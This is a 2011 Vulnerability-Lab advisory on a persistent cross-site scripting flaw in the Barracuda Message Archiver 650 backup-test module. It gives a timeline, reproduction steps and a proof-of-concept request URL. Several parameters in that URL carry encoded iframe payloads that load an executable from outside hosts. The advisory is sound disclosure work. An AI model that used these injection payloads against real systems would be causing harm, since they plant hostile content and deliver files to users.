Barracuda Archiver 650 Cross Site Scripting

`Title:  
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Barracuda Archiver 650 - Input Validation Vulnerability  
  
  
Date:  
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2011-11-04  
  
  
References:  
===========  
Barracuda Message Archiver 650 - v2.3.0.r114245 & older versions  
  
  
VL-ID:  
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34  
  
  
Introduction:  
=============  
The Barracuda Message Archiver is a complete and affordable email archiving solution, enabling you to effectively   
index and preserve all emails, enhance operational efficiencies and enforce policies for regulatory compliance. By   
leveraging standard policies and seamless access to messages, email content is fully indexed and backed up to enable   
administrators, auditors and end users quick retrieval of any email message stored in an organization’s email archive.  
  
* Comprehensive archiving  
* Exchange stubbing  
* Search and retrieval  
* Policy management  
* Intelligent Storage Manager  
* Roles-based interface  
* Reporting and statistics  
  
The Barracuda Message Archiver provides everything an organization needs to comply with government regulations in an   
easy to install and administer plug-and-play hardware solution. The Barracuda Message Archiver stores and indexes all   
email for easy search and retrieval by both regular users and third-party auditors. Backed by Energize Updates, delivered   
by Barracuda Central, the Barracuda Message Archiver receives automatic updates to its extensive library of virus, policy   
definitions to enable enhanced monitoring of compliance and corporate guidelines, document file format updates needed to   
decode content within email attachments, as well as security updates for the underlying Barracuda Message Archiver platform   
to protect against any potential security vulnerabilities.  
  
(Copy of the Vendor Homepage: http://www.barracudanetworks.com/)  
  
  
Abstract:  
=========  
Vulnerability-lab Team discovered multiple Input Validation Vulnerabilities on Barracudas - Message Archiver 650 (Appliance).  
  
  
Report-Timeline:  
================  
2011-05-09: Vendor Notification  
2011-06-02: Vendor Response/Feedback  
2011-09-01: Vendor Fix/Patch  
2011-11-04: Public or Non-Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Affected Products:  
==================  
Barracuda Archiver 650   
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
Medium  
  
  
Details:  
========  
A persistent Input Validation vulnerability is detected on Barracudas Message Archiver 650 . Local low privileged user account can  
implement/inject malicious persistent script code. When exploited by an authenticated user, the identified vulnerability   
can lead to information disclosure, access to intranet available servers, manipulated persistent content.  
  
Vulnerable Module(s):  
[+] Configuration Backup => Backup Test  
  
  
Picture(s):  
../ive1.png  
../ive2.png  
  
  
Proof of Concept:  
=================  
The vulnerabilities can be exploited by low privileged user accounts or remote via high user inter-action.  
  
Manually reproduce ...  
1. Login  
2. Switch to the vulnerable module of the application  
3. Include your own script code. Save!   
4. Enjoy the persistent output results  
  
Server: archiver.barracuda.com  
File: index.cgi  
Para: ?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username= ... &&backup_password=  
  
References(URL):  
http://archiver.xxx.com/cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%  
22%3Ciframe%20src%3Dhttp%3A//vulnerability-lab.com/etc/bad-example.exe%20width%3D800%20height%3D800%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%  
22%3Ciframe%20src%3Dhttp%3A//vulnerability-lab.com/etc/bad-example.exe%20width%3D800%20height%3D800%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//global-  
evolution.info/etc/bad-example.exe%20width%3D800%20height%3D800%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//vulnerability-lab.com/etc/bad-  
example.exe%20width%3D800%20height%3D800%3E&&user=guest&&password=164ddc8feaa60cb4263cd93279e2c114&&et=1261213168&&locale=en_US  
  
  
Source Review:  
<input type="hidden" name="popup_url" value="/cgi-mod/index.cgi?  
&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//vulnerability-lab.com/etc/bad-example.exe%20width%3D800%20height%3D800%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//vulnerability-lab.com/etc/bad-example.exe%20width%3D800%20height%3D800%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//vulnerability-lab.com/etc/bad-example.exe%  
20width%3D800%20height%3D800%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//vulnerability-lab.com/etc/bad-example.exe%20width%3D800%20height%3D800%  
3E&&user=guest&&password=164ddc8feaa60cb4263cd93279e2c114&&et=1261213168&&locale=en_US"><table id="main_table" summary="Main Table" border="0"   
cellspacing="0" cellpadding="0" width="100%"><tr><td valign="top" bgcolor="#ffffff" nowrap="nowrap"><table summary="Top Row" cellspacing=0 cellpadding=0   
border=0 width=100%><tr><td align=left width=200>  
  
  
  
Solution:  
=========  
2011-09-01: Vendor Fix/Patch  
  
  
Risk:  
=====  
The security risk of the discovered persistent vulnerability is estimated as medium(-).  
  
  
Credits:  
========  
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)  
  
  
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===========  
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